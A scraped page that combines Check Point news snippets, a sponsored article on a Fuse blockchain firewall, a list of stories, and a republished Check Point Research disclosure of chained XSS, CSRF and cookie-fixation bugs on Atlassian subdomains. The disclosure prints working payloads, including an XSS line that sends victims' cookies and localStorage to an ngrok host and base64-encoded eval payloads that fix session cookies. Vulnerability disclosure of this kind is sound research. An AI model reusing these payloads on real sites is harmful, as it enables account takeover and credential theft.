Cybersecurity professionals from across Northern Ireland gathered at Titanic Belfast on February 13 for Check Point Software's second Cyber Leader Summit, a hig

Cybersecurity Leaders Convene in Belfast to Tackle Evolving Digital Threats - IT Security Guru

The platform automates critical compliance processes, making it easier for organizations to stay aligned with evolving standards such as the NIST Cybersecurity Framework. The platform uses AI to help organizations efficiently manage risk while ensuring their security governance remains up to ...

Bridging the Cyber Security Talent Gap with AI and Experts - Check Point Blog

Thailand is facing a cybersecurity crisis, with cyberattacks in the country occurring 70% more frequently than the global average, according to a report by Check Point Software Technologies.

Thailand grapples with a cybersecurity crisis as attacks soar 70% higher than the global average - Thailand Business News

In a parallel analysis published by Trend Micro, the cybersecurity company said it observed the updated Shadowpad malware being used to deploy the NailaoLocker ransomware after exploiting weak passwords and bypassing multi-factor authentication.

China-Linked Attackers Exploit Check Point Flaw to Deploy ShadowPad and Ransomware

Armis, Check Point, CrowdStrike, Deloitte and WWT adopt Nvidia's cybersecurity AI platform, for energy, utilities and manufacturing facilities

The Tech Leaders Adopting Nvidia’s Cybersecurity AI | Technology Magazine

Check Point Software Technologies Ltd. (NASDAQ:CHKP) provides global IT security solutions, including cloud, network, mobile, endpoint, and IoT protections, along with security architecture, gateways, and support services.

Check Point Software (CHKP) – Strategic Alliance with Wiz to Strengthen Cloud Security - Insider Monkey

The strategic partnership aims to create the industry's most comprehensive cloud protection solution.

Check Point and Wiz join forces to challenge Palo Alto in cloud security | Ctech

Cybersecurity company Check Point said that it observed instances of threat actors leveraging AI engines from DeepSeek, alongside Alibaba Qwen and OpenAI ChatGPT, to develop information stealers, generate uncensored or unrestricted content, and optimize scripts for mass spam distribution.

DeepSeek App Transmits Sensitive User and Device Data Without Encryption

Check Point

checkpoint

Can Real-Time Cybersecurity Work in Web3? The blockchain ecosystem has been defined by its ability to decentralize power. But in doing so, it’s also opened itself to a growing volume of exploits, smart contract bugs, and wallet-level attacks. This raises a central question: Can real-time cybersecurity protocols, like those used in Web2 infrastructure, be implemented in decentralized systems? Fuse, a layer 2 blockchain focused on crypto payments, believes the answer lies in collaboration. On April 15, it announced a partnership with Check Point Software to deploy the first advanced blockchain firewall designed to prevent threats in real time. The move signals a shift from reactive security to proactive defense. Fuse Check Point Software Rather than detecting malicious transactions after they occur, the partnership aims to stop them before execution. According to Fuse, the approach draws on Check Point’s three decades of experience in threat intelligence and firewall technology—now applied to a blockchain setting. What Makes This Firewall Different? Traditional blockchain security measures, such as smart contract audits and static code analysis, occur post-deployment. These are essential but insufficient, especially as attacks become more dynamic. The proposed solution is a dedicated AI-powered firewall that functions at the infrastructure level, integrated across the Fuse network. Mark Smargon, CEO of Fuse, explained the intent behind the move: “Prevention is always better than a cure, particularly with crypto networks that serve as the backbone for global payments. With Check Point providing a dedicated security layer, we’re confident that we can not only deter hackers, who are becoming increasingly sophisticated, but pioneer a cybersecurity model that will become the gold standard for protecting web3 protocols.” “Prevention is always better than a cure, particularly with crypto networks that serve as the backbone for global payments. With Check Point providing a dedicated security layer, we’re confident that we can not only deter hackers, who are becoming increasingly sophisticated, but pioneer a cybersecurity model that will become the gold standard for protecting web3 protocols.” “Prevention is always better than a cure, particularly with crypto networks that serve as the backbone for global payments. With Check Point providing a dedicated security layer, we’re confident that we can not only deter hackers, who are becoming increasingly sophisticated, but pioneer a cybersecurity model that will become the gold standard for protecting web3 protocols.” The security layer will leverage Check Point’s proprietary threat prevention models, which are trained on historical and real-time data to block transactions flagged as malicious. According to Dan Danay, Head of Web 3.0 Security at Check Point, this type of security architecture mirrors the evolution from static antivirus tools to real-time cloud-based monitoring in the traditional web: Check Point’s “Just as robust cybersecurity powered the rise of Web 2.0, real-time prevention will be key to Web3’s mainstream adoption.” “Just as robust cybersecurity powered the rise of Web 2.0, real-time prevention will be key to Web3’s mainstream adoption.” “Just as robust cybersecurity powered the rise of Web 2.0, real-time prevention will be key to Web3’s mainstream adoption.” How the Threat Prevention Layer Works Rather than functioning as a simple list of known bad actors, the security layer integrates with Fuse's transaction pipeline to actively inspect intent. It leverages AI-powered threat engines and real-time data feeds from Check Point’s global cyber intelligence network. Fuse's approach does not stop at smart contracts. Wallet interactions, dApp behavior, and node communications will also be subject to live monitoring. According to the teams, this breadth of coverage is key for reducing attack surfaces and enabling developer trust. The firewall will not act as a gatekeeper to decentralization but as an internal risk assessment tool. Developers, node operators, and users will retain autonomy but can opt into an additional layer of security baked directly into the protocol. Ember Nodes and the Future of Fuse’s Network The announcement comes shortly after the launch of Fuse’s Ember Nodes, a governance and validation system backed by venture participants such as Collider Ventures, TRGC, and Blockchain Founders Fund. These nodes allow users to acquire ownership and participate in decision-making, a process that could be enhanced by real-time threat analytics. With thousands of active users and a growing number of stablecoin transactions processed daily, Fuse has chosen to build security into the core of its payment-focused infrastructure. This is a notable departure from retrofitting security tools after scaling. The hope is that by implementing this level of scrutiny now, Fuse can avoid the pattern observed in other networks—where vulnerabilities are only addressed after they are exploited. Broader Implications for Web3 Infrastructure Security remains one of the largest friction points for Web3 adoption. Protocols like Fuse that prioritize infrastructure-level security may begin to redefine baseline expectations for operational safety across chains. While Fuse is currently focused on B2B and B2C payments, the model it’s implementing with Check Point could apply across other verticals: gaming, decentralized finance, and supply chain platforms. Whether the industry will follow remains to be seen. But with regulatory scrutiny increasing and users demanding stronger protections, moving from detection to prevention might become not just a differentiator—but a requirement. Final Thoughts In my view, this partnership sets a precedent for what blockchain networks should begin to consider non-negotiable. Security shouldn’t be a feature, it should be infrastructure. Fuse's integration with Check Point isn’t about marketing a firewall to web3 audience, it’s about acknowledging that decentralization without defense is unsustainable in the long term. If other L2s or payment blockchains follow suit, we may finally see a turning point where security architecture in Web3 begins to match the financial value these systems are expected to move. Don’t forget to like and share the story! Vested Interest Disclosure: This author is an independent contributor publishing via our business blogging program. HackerNoon has reviewed the report for quality, but the claims herein belong to the author. #DYO Vested Interest Disclosure: This author is an independent contributor publishing via our business blogging program. HackerNoon has reviewed the report for quality, but the claims herein belong to the author. #DYO Vested Interest Disclosure: Vested Interest Disclosure: This author is an independent contributor publishing via our business blogging program. HackerNoon has reviewed the report for quality, but the claims herein belong to the author. #DYO business blogging program business blogging program

Fuse and Check Point Are Trying to Build the First Blockchain Firewall—Here’s What That Means

Το Fuse και το Check Point προσπαθούν να χτίσουν το πρώτο τείχος προστασίας Blockchain - Εδώ είναι τι σημαίνει αυτό

Fuse y Check Point están tratando de construir el primer firewall de Blockchain: esto es lo que significa

Fuse ja Check Point yrittävät rakentaa ensimmäisen Blockchain-palomuurin - tässä on mitä se tarkoittaa

FuseとCheck Pointは、最初のブロックチェーンファイアウォールを構築しようとしています。

Fuse와 Check Point은 첫 번째 Blockchain 방화벽을 구축하려고합니다.

Fuse и Check Point се обидуваат да изградат прв блокчејн заштитен ѕид – еве што значи тоа

Fuse болон Check Point нь анхны Blockchain Firewall бий болгохын тулд туршиж байна - Энд энэ нь гэсэн үг юм

Fuse и Check Point пытаются построить первую защитную стену Blockchain — вот что это значит

Фусе и Цхецк Поинт покушавају да изграде први Блоцкцхаин Фиревалл - Ево шта то значи

Fuse اور Check Point نے پہلی Blockchain فائیو ویئر ویئر کو تعمیر کرنے کی کوشش کی ہے - یہاں یہ کیا مطلب ہے

Fuse và Check Point đang cố gắng xây dựng tường lửa Blockchain đầu tiên - đây là ý nghĩa của nó

Let's learn about via these 47 free stories. They are ordered by most time reading created on HackerNoon. Visit the to find the most read stories about any technology. Checkpoint /Learn Repo 1. The Relevance of Infrastructure-as-Code Concepts in Security So what is Infrastructure-as-Code (IaC) anyway? IaC is a process that automates the provisioning and management of cloud resources. 2. How DevOps Killed WAF Web Application Firewalls have been a key part of cybersecurity that are facing obsolencence thanks to the significant labour costs associated with WAFs. 3. Endpoint Security Series: Principles to Determine the Optimal Endpoint Security Solution Threat actors are becoming more and more sophisticated in their ability to exploit vulnerabilities, breach organizations’ IT infrastructures, and hack into data 4. The Disruption of Emotet and What we Know About it Emotet, which was once a Banking Trojan and became a full-blown botnet was the most successful and prevalent malware of 2020 by a long way. 5. How AWS Misconception Resulted in Detection of 5 Million Personal Records A misconception of users had led to over five million records containing personal identifying information to be left on an AWS service, a serious leak. 6. Every QR Code Is An Opportunity Unlock the potential of every QR Code! Autonix trackable Link and QR Code Generator lets businesses collect and analyze visitor data for informed decisions. 7. Cloud Sourcing as a Crucial Component in Threat Prevention When it comes to security in the cloud, companies face constant, daily threats. This situation has only been exacerbated by the COVID-19 pandemic. 8. Securing Engineer Access to Cloud Environments with Zero Trust Remote working and developer infrastructure in the cloud have both served to change the way developer operations work and have new cybersecurity requirements. 9. How to Protect Your Organization from Double Extortion Ransomware Ransomware attacks have affected organisations from missile developers to Manchester United. Protecting yourself from them is an important part of security 10. How a Unified Approach to Cloud Data Security Can Come To Your Aid A unified approach to clould data security has significant advantages to cybersecurity relative to conventional methods of cybersecurity and may be helpful. 11. Endpoint Security Series: Top 5 Crucial Layers of Protection To help security professionals assess their options, we’ve listed five guiding principles for choosing optimal endpoint security solution in our previous blog. 12. Research: The Misconfiguration of Real Time Databases in Mobile App Development Mobile App Development is a hugely useful tool but it does come with significant security risks, as the Checkpoint found out when researching threats. 13. Ransomware Attacks: How to Protect Enterprises and Critical Infrastructure With Ransomware attacks increasing rapidly, it ahs become more important for companies to ensure that their network infrastructure is protected from attacks. 14. Protect Yourself Against The 440% Increase in Shipping-Related Phishing Emails The CDC (The Centers for Disease Control and               Prevention) classified “shopping at crowded stores just before, on or after Thanksgiving” on its list 15. What Is Triple Extortion Ransomware and How to Prevent It Ransomware is becoming more common and with it comes new threats. Triple Extortion Ransomware is a new form of attack that threatens companies across the world. 16. Check Your Privilege: Designing Cloud Infrastructures According to the Least Privilege Principle The Sunburst attacks relied on the Cloud model to work successfully. Experts believe that Dark Halo, the group responsible, used priviledges to do it. 17. What has Been Happening with the Two Biggest Iranian Espionage Operations Cyber-warfare and espionage have long been common weapons in the arsenal of governments, armies, and intelligence agencies around the world. 18. CloudGuard added AWS GWLB: What that Means for AWS Marketplace Offerings The AWS Marketplace is a vast and complicated online storefront that has plenty of choice for you to augment your business. Here is a basic explainer. 19. How a Wormable Android Malware Used to Spread Using WhatsApp Auto-Replies Android Malware has started spreading by creating auto-replies to messages in WhatsApp. It's hidden cleverly in dubious apps that are surprisingly good. 20. Cloud Threat Hunting: Investigating Lateral Movement What is the most involved attack flow yet? We will break down all of the steps a threat actor took to successfully exfiltrate data out of an AWS account. 21. Essential Aspects of Cloud Compliance for Financial Services In this post, we will cover five key areas that are very relevant to most financial services businesses—five topics an organization must “get right”. 22. How the Security of Remote Work Has Evolved With the Rise of Zero Trust VPNs might be the most common way of creating network security for remote work but Zero Trust Network Access might be a better designed alternative for you. 23. How a New Cyber Espionage Weapon in Southeast Asian Government Got Detected A Chinese threat group managed to hack into a Southeast Asian government by using disguised files to take advantage of a backdoor in the computer infrastructure 24. What Poses a Challenge to Security in a Multi-Cloud Environment Multi-cloud gives you much more flexibility because it allows you to find the perfect solution for each of your business requirements. 25. The Rise and Fall of Dridex: What were the Most Prevalent Malwares of Last Spring With Cybersecurity constantly evolving, each month has its own malware that poses the greatest threat. These are the malware threats that were most concerning. 26. How a Team of Hackers left Stolen Phishing Credentials up for Grabs Attackers initiated a phishing campaign with emails that masqueraded as Xerox scan notifications, prompting users to open a malicious HTML attachment. 27. How Microsoft’s Revelation of Four Zero-Days Has Affected the Number of Attempted Attacks With the revelation of four zero-day vulnerabilities currently affecting Microsoft Exchange Server, Check Point Research (CPR)  shares its findings on exploits 28. Understanding the Solarwinds Sunburst Breach and the Severity of Supply Chain Attacks The Solarwinds Sunburst exploit was a devastating cyber attack that opened up thousands of companies to hackers. There's a lot to learn and understand about it. 29. What's it Like to Obtain a COVID-19 Vaccination Certificate on Darknet Check Point Research did an investigation about the fake COVID-19 tests out in the Darknet and hacking forums that were sold to help people falsify their status 30. How We Built a Solution That Improves Google Cloud Security by Leveraging Managed Instance Groups Ckeckout some significant enhancements to CloudGuard’s integration with new and existing Google Cloud features to benefit from it. 31. How Can Enterprises Prevent and Deal With Ransomware Attacks Check Point Software’s Incident Response Team's guide for enterprises on how to prevent and deal with ransomware attacks. 32. Cloud Threat Hunting Series: What Lead To a Major Financial Institution Suffering a Cloud Breach Even the greatest cybersecurity arrangements can be vunerable to simple mistakes such as a tiny setting being misconfigured, compromising the entire system. 33. How we Fuzz Tested the Microsoft Office Ecosystem Microsoft Office is one of the most commonly used forms of productivity software. The Checkopint has tried to fuzz one part of Office to see how it affects it. 34. Improving IoT Device Security Prevention from Zero-Day Attacks Security for the “Internet of Things” (or IoT) is still relatively new to a majority of organizations. 35. Uncovering the Vulnerabilities of Qualcomm DSP The Snapdragon System on a Chip is a convenient solution for many phone manufacturers when it comes to hardware. However, it comes with its own security risks. 36. We Looked Into Darknet's Covid-19 Vaccines Scams In the past month, we noticed that a dark net search for Covid-19 vaccines returns multiple pages of results, amounting to hundreds of advertisements. 37. How United Nations Documents and Human Rights Websites Were Used in Spreading Malware The Uyghurs, an ethnic minority in China have been targeted by fake human rights documents and websites intended to take advantage of their persecution in China 38. Phone Scams: What Is Vishing And How You Can Avoid It The attack combines a one-on-one phone call with credible-looking phishing sites where the user is required to fill in their credentials and their MFA codes. 39. How a Supply-Chain Breach Put at Risk Atlassian Accounts On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control Atlassian apps. 40. What Vulnerabilities FreakOut Takes Advantage of for Creating a Botnet Check Point Research encountered several attacks that exploited multiple vulnerabilities, including some that were only recently published, to inject OS command 41. The Story Behind The Most Popular Android Malware Distributor on Dark Web Now more than ever, we rely on our smartphones to keep in touch with our work, our families and the world around us. There are over 3.5 billion smartphone users 42. The Vulnerabilities Research Of Valve’s Game Networking Sockets In this research, we were able to find four new vulnerabilities in Valve’s game networking library by taking advantage of two of C++’s language quirks. 43. The Rise and Fall of APTR1 Exploit Jian Cyber weapons are digital and volatile by nature. Stealing them and transferring from one continent to another, can be as simple as sending an email. 44. Leverage Asterisk Servers for Monetization: An INJ3CTOR3 Operation Recently, Check Point Research encountered a series of worldwide attacks relevant to VoIP, specifically to Session initiation Protocol (SIP) servers 45. Best Practice: Identifying And Mitigating The Impact Of Sunburst As with any security incident, security practitioners would initially focus on identifying signs of potential Sunburst activities in their networks and systems. 46. Hunting Exploits by looking for the Author’s fingerprints: Graphology of an Exploit When analyzing a complicated attack against one of our customers, we noticed a very small 64-bit executable that was executed by the malware. 47. What Makes Cloud Security Solutions so Relevant Intuitively, some people believe that “cloud” storage means your data is being held in the air somehow, but this isn’t really the case. Thank you for checking out the 47 most read stories about Checkpoint on HackerNoon. to find the most read stories about any technology. Visit the /Learn Repo

47 Stories To Learn About Checkpoint

Research By: Dikla Barda, Yaara Shriki, Roman Zaikin and Oded Vanunu Background With more than 180,000 customers globally, and millions of users, the Australian 2002 founded company “Atlassian” develops products for software developers, project managers and other software related teams that use the platform for data collaboration and information sharing. While workforces globally turned to remote work as a result of the outbreak of COVID-19, tools such as the ones offered by Atlassian became more popular and critical for teams while the need for a seamless transition to a new work mode became a global necessity. Atlassian, referring to this as “The Rise of Work Anywhere”, conducted about the nature of remote work during the Pandemic. The study surveyed more than 5,000 participants in Australia, France, Germany, Japan, and the US, and shows how the nuances of modern work have been amplified, demanding a shift in the way organizations manage an increasingly distributed workforce. research Breaking on through the Platform On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control some of Atlassian apps connected through SSO, Some of the affected domains are: jira.atlassian.com confluence.atlassian.com getsupport.atlassian.com partners.atlassian.com developer.atlassian.com support.atlassian.com training.atlassian.com What makes a supply chain attack such as this one so significant is the fact that once the attacker leverages these vulnerabilities and takes over an account, he can plant backdoors that he can use in the future for his attack. This can create a severe damage which will be identified and controlled only much after the damage is done. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms Deep Dive Atlassian uses SSO (Single Sign-On) to navigate between Atlassian products such as JIRA, Confluence and Partners. Atlassian implements various web security measures such as CSP, SameSite “Strict” cookies and HttpOnly cookies. We had to bypass these security methods using a combination of several attack techniques. Overall we were able to achieve Full Account Take-Over. First, we had to find a way to inject code into Atlassian – which we used the XSS and CSRF for. Then, using this code injection, we were able to add a new session cookie to the user’s account, and by combining the session fixation vulnerability in Atlassian domains, we were able to take over accounts. Let us dive in into the first bug we found: XSS The first security issue was found on the subdomain . The Training platform offers users courses or credits. We noticed that the Content Security Policy (CSP) was configured poorly on this subdomain with ‘unsafe-inline’ and ‘unsafe-eval’ directives which allows script execution. This makes this subdomain a perfect starting point for our research training.atlassian.com We examined the request parameters when adding courses and credits to the shopping cart. We found that when the item type is “ ”, an additional parameter called “ ” is added to request. This parameter was found vulnerable to XSS. training_credit options._training_credit_account Let’s test a simple payload to receive all of the user’s cookies and local storage: "><svg/onload="window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`"> It works! And we received all the cookies and the local storage of the target: CSRF Since the Stored XSS can only be run when adding items to the shopping cart, we needed to make the user add a malicious item without their notice. Then, because there is no CSRF token we could perform CSRF attack on the shopping list and execute our payload. In order to achieve that, we uploaded the following POC to our servers and sent it to the victim: <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''> 
        <svg/onload=”window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html> However, some of the cookies related to the session of the victim are set to SameSite “Strict” which means the browser prevents them from being sent to the backend. Surprisingly, we found that during the SSO process those missing cookies are completed by the backend which will essentially bypass the SameSite “Strict” for us. SameSite “Strict” Bypass We will now describe the SSO flow. We start with the XSS payload from our origin : https://7a4389292a5d.ngrok.io During the SSO flow, the user gets redirected several times to different paths, such as: /auth/cart ,login.html, etc. Throughout the redirect process, the user goes through the authentication process, which adds the missing cookies that we needed and were protected by SameSite. Because our payload was Stored XSS it was stored in the database and was added to the Shopping List. Here we can see that the payload was injected successfully into the page: And the malicious item was added to the shopping cart: At this step we bypassed SameSite “Strict” for CSRF and CSP with inline JavaScript. However, the more interesting cookie is which is protected by “ ” and we can’t hijack it via JavaScript. JSESSIONID HttpOnly At this point we can perform actions on behalf of the user but not login to his account. We dived in further into the SSO flow in order to find another flaw in the process. HTTPOnly Bypass and Cookie Fixation What is cookie fixation? Cookie Fixation is when an attacker can remotely force the user to use a session cookie known to him, which becomes authenticated. Initially, when the user browses to the login page, the server generates a new session cookie with ‘path=/’ flag. That cookie isn’t associated with any account and only after the user passes the authentication process that same cookie will be associated to his account. We knew that using the XSS we couldn’t get the user’s session cookie, since it was protected by HTTPOnly flag. Instead, we could create a new forged one. The newly created JSESSION cookie has the same flags as the original, with one major change – the path flag. The original path flag is set to the root directory. We were wondering what would happen if we change it to a more a particular path. It turns out that our path will have priority since it is more specific and will be used instead of the original. We changed the path to the exact directive we know the user will get redirected to after authentication which causes the backend to authorize our cookie over the original one. By using cookie fixation, we bypassed the HTTPOnly and hijacked the user’s Atlassian account. We will demonstrate that on the following subdomains: Training.atlassian.com We started by navigating to the URL from a clean browser without any cache to get a new clean cookie. training.atlassian.com JSESSIONID Now, we have a JSESSIONID without any information in it at the backend. If we will send a request to the user profile page we will be redirected to the login page. We will now perform a Cookie Fixation on the target which will force him to use the forged Cookie by using the following steps: We start by modifying our payload and adding the following cookie: document.cookie = "JSESSIONID= 5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=
/auth0; Secure” Note that the original HttpOnly cookie was set for the path “/”, but the new cookie we are setting in the payload is for the path “/auth0”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s more specific. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the which will force the authentication for : “redirect_uri=https://training.atlassian.com/auth0” training.atlassian.com location.href="https://atlassianuni-learndot.auth0.com/authorize? redirect_uri=https://training.atlassian.com/auth 0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk" This auth request will associate our cookie to the target account. So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''>
        <svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTVCMDlDNzNCRjEzRkU5MjNBMkU1QjRFRTBEQUQzMEUzOyBEb21haW49dHJhaW5pbmcuYXRsYXNzaWFuLmNvbTsgUGF0aD0vYXV0aDA7IFNlY3VyZSI7IHNldFRpbWVvdXQoZnVuY3Rpb24oKXsgbG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9hdGxhc3NpYW51bmktbGVhcm5kb3QuYXV0aDAuY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHM6Ly90cmFpbmluZy5hdGxhc3NpYW4uY29tL2F1dGgwJmNsaWVudF9pZD1PN0ZkSFk2NDdWdmJDVHBoQkdtdmZCdDJHZGduSDdNUiZhdWRpZW5jZT1odHRwcyUzQSUyRiUyRmF0bGFzc2lhbnVuaS1sZWFybmRvdC5hdXRoMC5jb20lMkZ1c2VyaW5mbyZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwZW1haWwmcmVzcG9uc2VfdHlwZT1jb2RlJnN0YXRlPUh4RWxwUHlTc3JSdUtjWWJGT2xwOVFrTFpRN2t3RE9lbVg3RGMtNWRubGsiIH0sMzAwMCk7`)”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html>
<!–

// Payload  Explain
btoa(‘    document.cookie=”JSESSIONID=5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=/auth0; Secure”; setTimeout(function()
{ location.href=”https://atlassianuni-learndot.auth0.com/authorize?redirect_uri=
https://training.atlassian.com/auth0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&
audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile
%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk” },3000);     ‘)

–> The Cookie Fixation combined with the XSS and CSRF bugs allowed us to perform full Account Take-Over on Atlassian Training Platform. With the same flow and Cookie Fixation we can navigate to other Atlassian products, for example, jira.atlassian.com. Jira.atlassian.com To hijack Jira accounts with the same flow, we first need to create a session cookie to perform Cookie Fixation. We log in to and take the following cookies: jira.atlassian.com JSESSIONID AWSALB In order to use these cookies for the Cookie Fixation the attacker needs to sign-out from his account to get clean JSESSIONID. We can verify that the cookie is not associated with any account anymore by sending a request to ViewProfile: Next, we will modify our payload, we will perform the same method as we did in training.atlassian.com: document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;” document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;” Note that the original HTTPOnly cookie was set for the path “/”, but the new cookie we are setting is for the path “/plugins”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s a path cookie. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://jira.atlassian.com/plugins” which will force the authentication for jira.atlassian.com and redirect us to /plugins. . This auth request will associate our cookie to the target account. location.href=”https://auth.atlassian.com/authorize?redirect_uri=https://jira.atlassian.com/plugins/servlet/authentication/auth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none” As can be seen in the following request, the cookie is now assosiated to the target user (“John Doe” in this case). So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value='”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTE2NzI4ODVDM0Y1RTQ4MTlERDRFRjBCRjc0OUU1NkM5OyBEb21haW49LmF0bGFzc2lhbi5jb207IFBhdGg9L3BsdWdpbnM7IFNlY3VyZTsiOyAgZG9jdW1lbnQuY29va2llPSJBV1NBTEI9aUF2NlZLVDV0YnUvSEZKVnV1L2RURTdSODB3UVhOalIrMG9wVmJjY0UweklhZE9SSlZHTVp4Q1VjVElnbEwzT1ovQTU0ZXUvTkROTFA1STN6RStXY2dHV0RIcHYxN1NleGpGQmMxV1lBOW1vQzR3RW1Qb29FRS9VcW9vMjsgRG9tYWluPS5hdGxhc3NpYW4uY29tOyBQYXRoPS9wbHVnaW5zLzsgU2VjdXJlOyI7ICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vYXV0aC5hdGxhc3NpYW4uY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZqaXJhLmF0bGFzc2lhbi5jb20lMkZwbHVnaW5zJTJGc2VydmxldCUyRmF1dGhlbnRpY2F0aW9uJTNGYXV0aF9wbHVnaW5fb3JpZ2luYWxfdXJsJTNEaHR0cHMlMjUzQSUyNTJGJTI1MkZqaXJhLmF0bGFzc2lhbi5jb20lMjUyRiZjbGllbnRfaWQ9UXhVVmg5dFR1Z29MQzVjZ1kzVmprejNoMWpQU3ZHOXAmc2NvcGU9b3BlbmlkK2VtYWlsK3Byb2ZpbGUmc3RhdGU9NDExOGY1N2YtYTlkOS00ZjZkLWExZDUtYWRkOTM5NzYyZjIzJnJlc3BvbnNlX3R5cGU9Y29kZSZwcm9tcHQ9bm9uZSIgfSwzMDAwKTs=`);”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–
// Payload

btoa(‘

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”;

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”;

setTimeout(function(){

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https%3A%2F%2Fjira.atlassian.com%2Fplugins%2Fservlet%2Fauthentication%3Fauth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”

},3000);

‘);
–> The Cookie Fixation combined with the XSS and CSRF bugs from allowed us to perform full Account Take-Over on training.atlassian.com Jira.atlassian.com Bitbucket Another direction we looked into was checking if we could inject malicious code to an Organization’s Bitbucket. Bitbucket is a Git-based source code repository hosting service owned by Atlassian and has more than 10 million users. Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors. With a Jira account at our hands, we have a few ways to obtain Bitbucket account. One option is by opening a Jira ticket with malicious link to an attacker controlled website. An automatic mail will be sent from Atlassian domain to the user once the ticket is created on Jira systems. An attacker can take advantage of that and include in the ticket a link to a malicious website that steals the user’s credentials. Conclusion By using the XSS with CSRF that we found on combined with the method of Cookie fixation we were able to take over any Atlassian account, in just one click, on every subdomain under atlassian.com that doesn’t use JWT for the session and that is vulnerable to session fixation . For example: training.atlassian.com, jira.atlassian.com, developer.atlassian.com and more. training.atlassian.com Taking over an account in such a collaborative platform means an ability to take over data that is not meant for unauthorized view. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms. You can have a look at . the POC video here

How a Supply-Chain Breach Put at Risk Atlassian Accounts

